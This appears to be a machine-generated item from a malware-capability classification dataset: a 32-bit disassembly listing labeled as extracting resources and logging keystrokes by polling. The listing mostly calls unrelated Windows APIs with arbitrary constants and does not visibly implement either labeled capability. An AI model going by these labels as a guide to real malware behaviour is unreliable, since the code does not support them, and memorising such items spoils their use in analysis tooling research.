Function at 0x10001617
Capabilities:
Extract resource via kernel32 functions
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
mov ecx, 0xdfcff4
mov dword [ebp - 4], ecx
mov ecx, esp
lea edx, [ebp - 4]
mov dword [ecx + 4], edx
mov dword [ecx + 0x10], 0xafc
mov dword [ecx + 0xc], 0x356
mov dword [ecx + 8], 0xafc
mov dword [ecx], 0xb3a
mov ecx, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
mov dword [ebp - 8], eax
call ecx
sub esp, 0x14
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
jmp 0x100016f7
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x17f
mov dword [ebp - 0x18], eax
je 0x100016b5
jmp 0x1000174b
mov eax, dword [sym.imp.USER32.dll_GetProcessWindowStation]
call eax
mov ecx, dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [ebp - 0x1c], eax
call ecx
mov ecx, esp
mov dword [ecx + 4], 0x468
mov dword [ecx], 0xc88a7f
mov ecx, dword [sym.imp.USER32.dll_SwitchToThisWindow]
mov dword [ebp - 0x20], eax
call ecx
sub esp, 8
jmp 0x100017bf
mov eax, dword [ebp - 0x24]
sub eax, 0xb
mov dword [ebp - 0x28], eax
je 0x100017bf
jmp 0x100016c6
mov eax, dword [ebp - 0x24]
sub eax, 0x54
mov dword [ebp - 0x2c], eax
je 0x10001681
jmp 0x10001801
mov eax, esp
mov dword [eax + 4], 0xf4f
mov dword [eax], 0xf11
mov eax, dword [sym.imp.KERNEL32.dll_SleepEx]
call eax
sub esp, 8
mov dword [ebp - 0x30], eax
jmp 0x1000166a
mov eax, dword [ebp - 0x10]
mov ecx, esp
mov dword [ecx], 0xee3ffd
mov ecx, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [ebp - 0x24], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x8d
mov dword [ecx], 0xc9e929
mov ecx, dword [sym.imp.GDI32.dll_SelectClipPath]
mov dword [ebp - 0x34], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0xc5323d
mov ecx, dword [sym.imp.USER32.dll_SetThreadDesktop]
mov dword [ebp - 0x38], eax
call ecx
sub esp, 4
xor ecx, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov ecx, 0xaf286bcb
mov dword [ebp - 0x14], eax
mul ecx
mov eax, dword [ebp - 0x14]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
imul eax, eax, 0x13
mov ecx, dword [ebp - 0x14]
sub ecx, eax
mov eax, ecx
sub eax, 7
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x100016d6
jmp 0x1000177f
mov eax, dword [ebp - 0x40]
sub eax, 5
mov dword [ebp - 0x48], eax
jne 0x1000166a
jmp 0x10001790
mov eax, esp
mov dword [eax + 0xc], 0x2854ee
mov dword [eax + 8], 0x9fc
mov dword [eax + 4], 0x2da
mov dword [eax], 0xe5ac0a
mov eax, dword [sym.imp.USER32.dll_DrawIcon]
call eax
sub esp, 0x10
mov dword [ebp - 0x4c], eax
jmp 0x100016d6
mov eax, esp
mov dword [eax], 0x9123a4
mov eax, dword [sym.imp.KERNEL32.dll_LockResource]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xd4f2f6
mov ecx, dword [sym.imp.KERNEL32.dll_UnregisterWait]
mov dword [ebp - 0x50], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_VkKeyScanW]
mov dword [ebp - 0x54], eax
call ecx
sub esp, 4
mov word [ebp - 0x56], ax
mov eax, esp
mov dword [eax], 0x6b434b
mov eax, dword [sym.imp.USER32.dll_PaintDesktop]
call eax
sub esp, 4
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x71
mov dword [ebp - 0x10], eax
jne 0x100016f7
add esp, 0x70
pop ebp
ret